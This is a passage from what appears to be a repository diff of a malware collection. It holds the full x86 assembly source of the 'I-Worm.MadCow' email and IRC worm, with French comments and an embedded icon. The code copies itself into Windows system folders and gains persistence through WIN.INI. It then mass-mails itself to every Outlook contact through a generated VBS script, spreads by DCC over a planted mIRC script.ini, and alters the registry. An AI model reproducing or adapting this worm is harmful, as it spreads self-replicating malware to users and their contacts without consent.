script1 db "C:\mirc\script.ini",00h
|
||||
script2 db "C:\mirc32\script.ini",00h
|
||||
script3 db "C:\program files\mirc\script.ini",00h
|
||||
script4 db "C:\program files\mirc32\script.ini",00h
|
||||
CLE db "Software\[Atchoum]",00h
|
||||
CLE2 db "\exefile\DefaultIcon",00h
|
||||
Signature db "IWorm.MadCow par PetiK (c)2000"
|
||||
|
||||
vbsd:
|
||||
db 'DEBUT()',0dh,0ah
|
||||
db 'Sub DEBUT()',0dh,0ah
|
||||
db 'EMAIL()',0dh,0ah
|
||||
db 'End Sub',0dh,0ah
|
||||
db '',0dh,0ah
|
||||
db 'Sub EMAIL()',0dh,0ah
|
||||
db 'Set K = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = K.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'Set N = K.CreateItem(0)',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'If O = 1 Then',0dh,0ah
|
||||
db 'N.BCC = P.Address',0dh,0ah
|
||||
db 'Else',0dh,0ah
|
||||
db 'N.BCC = N.BCC & "; " & P.Address',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'N.Subject = "Pourquoi les vaches sont-elles folles ?"',0dh,0ah
|
||||
db 'N.Body = "Voila un rapport expliquant la folie des vaches"',0dh,0ah
|
||||
db 'Set Q = CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'N.Attachments.Add Q.BuildPath(Q.GetSpecialFolder(0),"MadCow.exe")',0dh,0ah
|
||||
db 'N.Send',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End Sub',0dh,0ah
|
||||
vbstaille equ $-vbsd
|
||||
|
||||
batd:
|
||||
db '@echo off',0dh,0ah
|
||||
db 'start C:\Win32\ENVOIE.VBS',0dh,0ah
|
||||
battaille equ $-batd
|
||||
|
||||
inid:
|
||||
db "[script]",0dh,0ah
|
||||
db "n0=on 1:JOIN:#:{",0dh,0ah
|
||||
db "n1= /if ( $nick == $me ) { halt }",0dh,0ah
|
||||
db "n2= /.dcc send $nick C:\Win32\MadCow.exe",0dh,0ah
|
||||
db "n3=}",00h
|
||||
initaille equ $-inid
|
||||
|
||||
include icone.inc
|
||||
|
||||
.code
|
||||
DEBUT:
|
||||
VERIF: mov eax,offset CLE ; V‚rifie si il existe une cl‚
|
||||
call REG ; [Atchoum] dans HKLM\Software.
|
||||
cmp [regDisp],1 ; Si elle n'y est pas,
|
||||
jne INIFILE ; on installe les composants
|
||||
|
||||
COPIE: push 0 ;
|
||||
call GetModuleHandleA ;
|
||||
push 260 ;
|
||||
push offset szOrig ;
|
||||
push eax ;
|
||||
call GetModuleFileNameA ; Copie le fichier original
|
||||
push 260 ;
|
||||
push offset szCopie ;
|
||||
call GetSystemDirectoryA ; dans le dossier SYSTEM
|
||||
push offset Copie ;
|
||||
push offset szCopie ;
|
||||
call lstrcat ; sous le nom de Wininet32.exe
|
||||
push 00h ;
|
||||
push offset szCopie ;
|
||||
push offset szOrig ;
|
||||
call CopyFileA ;
|
||||
push 260 ; puis
|
||||
push offset szCopi2 ;
|
||||
call GetWindowsDirectoryA ; … nouveau dans le dossier WINDOWS
|
||||
push offset Copie2 ;
|
||||
push offset szCopi2 ;
|
||||
call lstrcat ; sous le nom de MadCow.exe
|
||||
push 00h ;
|
||||
push offset szCopi2 ;
|
||||
push offset szOrig ;
|
||||
call CopyFileA ;
|
||||
|
||||
WIN_INI:push 260 ; Pour lancer le programme, on peut
|
||||
push offset szWin ;
|
||||
call GetWindowsDirectoryA ; utiliser la base de registre ou le
|
||||
push offset Winini ;
|
||||
push offset szWin ; fichier WIN.INI dans le dossier
|
||||
call lstrcat ;
|
||||
push offset szWin ; WINDOWS. La d‚marche est simple :
|
||||
push offset szCopie ; [windows]
|
||||
push offset run ; run="nom du programme"
|
||||
push offset windows ;
|
||||
call WritePrivateProfileStringA ;
|
||||
|
||||
DIR: push 00h ; On cr‚e ici C:\Win32
|
||||
push offset Dossier ;
|
||||
call CreateDirectoryA ;
|
||||
EMAIL :push 00000000h ; On va cr‚er C:\Win32\ENVOIE.VBS
|
||||
push 00000080h ;
|
||||
push 00000002h ;
|
||||
push 00000000h ;
|
||||
push 00000001h ;
|
||||
push 40000000h ;
|
||||
push offset VBSFILE ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push vbstaille ;
|
||||
push offset vbsd ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
EXEC :push 00000000h ; et C:\Win32\ENVOIE.BAT
|
||||
push 00000080h ;
|
||||
push 00000002h ; qui va ‚x‚cuter ENVOIE.VBS
|
||||
push 00000000h ;
|
||||
push 00000001h ;
|
||||
push 40000000h ;
|
||||
push offset BATFILE ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push battaille ;
|
||||
push offset batd ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
jmp EXECBAT ;
|
||||
|
||||
REG: push offset regDisp ;
|
||||
push offset regResu ;
|
||||
push 0 ;
|
||||
push 0F003Fh ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push eax ; Software\[Atchoum]
|
||||
push 80000002h ; HKEY_LOCAL_MACHINE
|
||||
call RegCreateKeyExA ;
|
||||
push [regResu] ; met la valeur dans regResu
|
||||
call RegCloseKey ;
|
||||
ret ;
|
||||
|
||||
INIFILE:push 00000000h ; On va cr‚er dans C:\Win32
|
||||
push 00000001h ;
|
||||
push 00000002h ; le fichier script.ini
|
||||
push 00000000h ;
|
||||
push 00000001h ; en lecture seul.
|
||||
push 40000000h ;
|
||||
push offset fileini ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push initaille ;
|
||||
push offset inid ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
|
||||
push 00h ; On va copier ce fichier dans les
|
||||
push offset script1 ; r‚pertoire suivant :
|
||||
push offset fileini ;
|
||||
call CopyFileA ; C:\mirc C:\mirc32
|
||||
test eax,eax ; C:\program files\mirc et dans
|
||||
jnz COPYWIN ; C:\program files\mirc32
|
||||
push 00h ;
|
||||
push offset script2 ; Si il arrive … se copier dans un
|
||||
push offset fileini ; de ces fichier, il va cr‚er une
|
||||
call CopyFileA ; copie du programme dans C:\Win32
|
||||
test eax,eax ; le nom MadCow.exe
|
||||
jnz COPYWIN ;
|
||||
push 00h ;
|
||||
push offset script3 ;
|
||||
push offset fileini ;
|
||||
call CopyFileA ;
|
||||
test eax,eax ;
|
||||
jnz COPYWIN ;
|
||||
push 00h ;
|
||||
push offset script4 ;
|
||||
push offset fileini ;
|
||||
call CopyFileA ;
|
||||
test eax,eax ;
|
||||
jz ICOFILE ;
|
||||
|
||||
COPYWIN:push 0 ;
|
||||
call GetModuleHandleA ;
|
||||
push 260 ;
|
||||
push offset szOrig2 ;
|
||||
push eax ;
|
||||
call GetModuleFileNameA ; Copie le fichier original
|
||||
push 00h ;
|
||||
push offset Copie3 ;
|
||||
push offset szOrig2 ;
|
||||
call CopyFileA ;
|
||||
jmp FIN ;
|
||||
|
||||
ICOFILE:push 00000000h ; On va cr‚er … la base du disque
|
||||
push 00000080h ;
|
||||
push 00000002h ; dur le fichier Salut.ico
|
||||
push 00000000h ;
|
||||
push 00000001h ;
|
||||
push 40000000h ;
|
||||
push offset fichier ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push icotaille ;
|
||||
push offset icod ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
push 260 ; On d‚place le fichier Salut.ico
|
||||
push offset szCico ;
|
||||
call GetSystemDirectoryA ; dans le dossier SYSTEM sous
|
||||
push offset Copico ;
|
||||
push offset szCico ; MSLS.ICO
|
||||
call lstrcat ;
|
||||
push offset szCico ;
|
||||
push offset fichier ;
|
||||
call MoveFileA ; => c'est fait
|
||||
|
||||
REG2: push offset l ;
|
||||
push offset p ;
|
||||
push 0 ;
|
||||
push 1F0000h + 1 + 2h ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push offset CLE2 ; Run
|
||||
push 80000000h ; HKEY_CLASSES_ROOT
|
||||
call RegCreateKeyExA ;
|
||||
push 05h ;
|
||||
push offset szCico ; %system%\MSLS.ico
|
||||
push 01h ;
|
||||
push 0 ;
|
||||
push 00h ; VALEUR PAR DEFAUT
|
||||
push p ;
|
||||
call RegSetValueExA ; CREE UN REGISTRE
|
||||
push 0 ;
|
||||
call RegCloseKey ; FERME LA BASE DE REGISTRE
|
||||
jmp FIN ; PUIS TERMINE LE PROGRAMME
|
||||
|
||||
EXECBAT:push 01h ; On ‚x‚cute le fichier ENVOIE.BAT
|
||||
push offset BATFILE ;
|
||||
call WinExec ;
|
||||
FIN: push 00h ; FIN DU PROGRAMME
|
||||
call ExitProcess ;
|
||||
|
||||
end DEBUT
|
||||
|
||||
*************************************************************************
|
||||
|
||||
comment *
|
||||
|
||||
ICONE.INC pour I-Worm.MadCow
|
||||
CE FICHIER EST LA FORME HEXADECIMAL DE L'ICONE QUE L'ON VEUT CREER
|
||||
*
|
||||
|
||||
icod:
|
||||
db 000h,000h,001h,000h,001h,000h,010h,010h,010h,000h,000h,000h,000h,000h
|
||||
db 028h,001h,000h,000h,016h,000h,000h,000h,028h,000h,000h,000h,010h,000h
|
||||
db 000h,000h,020h,000h,000h,000h,001h,000h,004h,000h,000h,000h,000h,000h
|
||||
db 0C0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,010h,000h
|
||||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h
|
||||
db 000h,080h,000h,000h,000h,080h,080h,000h,080h,000h,000h,000h,080h,000h
|
||||
db 080h,000h,080h,080h,000h,000h,0C0h,0C0h,0C0h,000h,080h,080h,080h,000h
|
||||
db 000h,000h,0FFh,000h,000h,0FFh,000h,000h,000h,0FFh,0FFh,000h,0FFh,000h
|
||||
db 000h,000h,0FFh,000h,0FFh,000h,0FFh,0FFh,000h,000h,0FFh,0FFh,0FFh,000h
|
||||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h
|
||||
db 000h,00Fh,0F0h,000h,000h,000h,000h,000h,000h,00Fh,0F0h,000h,000h,00Fh
|
||||
db 0FFh,000h,000h,00Fh,0F0h,000h,000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h
|
||||
db 000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
|
||||
db 0F0h,000h,00Fh,000h,00Fh,00Fh,000h,00Fh,0F0h,000h,0F0h,0FFh,000h,0F0h
|
||||
db 0F0h,00Fh,0F0h,000h,0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h
|
||||
db 000h,00Fh,000h,00Fh,0F0h,000h,00Fh,0FFh,0FFh,0FFh,000h,00Fh,0F0h,000h
|
||||
db 0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
|
||||
db 0F0h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||||
db 0FFh,0FFh,000h,000h,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh
|
||||
db 07Eh,03Eh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Bh,0EEh
|
||||
db 0FFh,0FFh,07Bh,0AEh,0FFh,0FFh,074h,0D6h,0FFh,0FFh,077h,0F6h,0FFh,0FFh
|
||||
db 07Bh,0EEh,0FFh,0FFh,078h,00Eh,0FFh,0FFh,077h,0F6h,0FFh,0FFh,07Bh,0EEh
|
||||
db 0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,000h,000h,0FFh,0FFh
|
||||
icotaille equ $-icod
|
4982
Win32/I-worm.Icecubes.asm
Normal file
4982
Win32/I-worm.Icecubes.asm
Normal file
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue
Block a user